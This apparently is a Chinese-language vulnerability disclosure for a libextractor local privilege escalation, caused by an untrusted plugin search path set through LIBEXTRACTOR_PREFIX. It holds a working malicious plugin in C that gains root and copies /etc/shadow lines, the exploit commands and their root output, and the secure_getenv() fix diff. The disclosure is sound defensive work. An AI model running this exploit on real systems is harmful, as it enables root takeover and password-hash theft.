
| 字段 | 值 |
|---|
| CVE | CVE-2026-100310 |
| 产品 | GNU libextractor |
| 受影响版本 | >= 0, < 1.16 |
| 修复版本 | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| 严重性 | HIGH |
| CWE | CWE-426(不可信搜索路径) |
| 攻击向量 | 本地 |
| 所需权限 | 低 |
| 用户交互 | 无 |
| CNA | VulnCheck |
| 研究员 | Haitam Lazaar |
注意: 要使此漏洞导致本地提权,管理员必须配置一个链接到
libextractor且带有setuid位的二进制文件。虽然libextractor本身不附带setuid二进制文件,但任何动态链接此库且未能手动清理环境的特权进程或系统守护进程都容易受到完全攻陷。
libextractor 的 setuid 二进制文件或特权守护进程
上面的动画演示了该漏洞利用。攻击者编译一个恶意共享库(evil_plugin.c)并将其放置在 /tmp/evil_plugins 中。通过执行一个使用 libextractor 的 setuid 二进制文件,并在命令前加上 LIBEXTRACTOR_PREFIX=/tmp/evil_plugins,动态链接器会以提升的权限加载恶意插件。这会立即以 root 身份执行任意命令,通过将 id 的输出和受限的 /etc/shadow 文件写入 /tmp/privesc_proof 来演示。
该漏洞主要通过利用 LIBEXTRACTOR_PREFIX 环境变量触发。
(注意:libextractor 还包含使用 /proc/PID/maps 和可写 PATH 目录的次要不安全回退机制,但环境变量注入是最直接且可靠的攻击向量)。
/*
* evil_plugin.c — 用于提权的恶意 libextractor 插件
* 编译:gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* 将其放置在某个目录中,并将 LIBEXTRACTOR_PREFIX 设置为该目录。
* 当任何 setuid 应用程序加载 OLE2 插件时,此构造函数
* 会提升为完整的 root(uid=0, gid=0)并运行任意命令。
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* 提权:euid=0 允许 setuid(0),从而设置真实 uid=0 */
setuid(0);
setgid(0);
/* 现在以完整的 root 身份运行 — shell 命令可以正常工作 */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
在 Ubuntu 24.04 上使用 libextractor 1.14 测试:
# 1. 编译恶意插件
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. 模拟配置错误(setuid)的目标二进制文件
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. 以非特权用户身份触发漏洞利用
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
在 src/main/extractor_plugpath.c 中,函数 get_installation_paths() 调用了标准的 getenv():
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
由于它没有使用 secure_getenv(),当二进制文件以提升的权限运行时,动态链接器不会剥离此变量(与 LD_PRELOAD 或 LD_LIBRARY_PATH 不同)。随后 lt_dlopenadvise() 会盲目地从攻击者控制的路径加载 libextractor_<name>.so。
维护者在 1.16 版本中通过将 getenv() 替换为 secure_getenv() 修复了此问题,当进程以提升的权限运行(euid != uid)时,后者会返回 NULL。
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
由我(Haitam Lazaar)在独立安全研究期间发现。
特别感谢 GNU libextractor 的维护者 Christian Grothoff,感谢他极其快速的分类、专业的沟通以及迅速部署补丁(v1.15、v1.16 和 v1.17),解决了此问题以及本次审计期间报告的其他几个内存安全问题。
我的研究仅供教育和防御目的提供。请负责任地使用。